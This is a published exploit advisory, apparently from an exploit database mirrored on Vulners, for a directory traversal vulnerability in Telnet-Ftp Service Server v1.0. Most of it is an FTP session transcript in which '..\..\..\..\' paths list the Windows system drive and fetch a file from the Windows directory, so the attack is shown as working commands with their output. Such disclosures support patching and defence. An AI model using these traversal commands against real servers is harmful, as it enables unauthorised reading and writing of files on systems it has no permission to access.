`# Exploit Title: Telnet-Ftp Service Server v1.0 Directory Traversal Vulnerability
# Date Published: 2013/6/18
# Exploit Author: Chako
# Software Link: http://telnet-ftp-server.en.softonic.com/
# Version: v1.0 (Build 1.218)
# Tested on: Windows Xp SP3 English
Description:
=====================
A vulnerability has been identified in Telnet-Ftp Service Server v1.0,
which allows attackers to read or write arbitrary files.
Exploit:
=====================
220 FTP Server ready. Telnet-Ftp Server v. 1.0 (Build 1.218)
User (127.0.0.1:(none)): chako
331 Password required for chako.
Password:
230 User chako logged in.
ftp> dir ..\..\..\..\
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw- 1 ftp ftp 0 Jun 12 2012 WINDOWS
drw-rw-rw- 1 ftp ftp 0 Jun 12 2012 Documents and Settings
dr--r--r-- 1 ftp ftp 0 Jun 12 2012 Program Files
-rw-rw-rw- 1 ftp ftp 0 Jun 12 2012 CONFIG.SYS
-rwxrwxrwx 1 ftp ftp 0 Jun 12 2012 AUTOEXEC.BAT
drw-rw-rw- 1 ftp ftp 0 Jun 12 2012 Python27
drw-rw-rw- 1 ftp ftp 0 Jun 12 2012 Perl
drw-rw-rw- 1 ftp ftp 0 Sep 07 2012 eb83393ec0d8ee1eab4b219f
drw-rw-rw- 1 ftp ftp 0 Jun 08 10:55 Win32
drw-rw-rw- 1 ftp ftp 0 Jun 08 12:46 tool
drw-rw-rw- 1 ftp ftp 0 Jun 08 16:51 New Folder
drw-rw-rw- 1 ftp ftp 0 Jun 08 23:22 TYPSoft FTP Server
-rw-rw-rw- 1 ftp ftp 9 Jun 18 00:03 END
-rw-rw-rw- 1 ftp ftp 0 Jun 18 00:04 Documents
226 File sent ok
ftp: 933 bytes received in 0.00Seconds 933000.00Kbytes/sec.
ftp> get ..\..\..\..\windows\hack.txt
200 Port command successful.
150 Opening data connection for ..\..\..\..\windows\hack.txt.
226 File sent ok
ftp: 14 bytes received in 0.00Seconds 14000.00Kbytes/sec.
ftp> !type hack.txt
Hello~ World!~ftp>
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation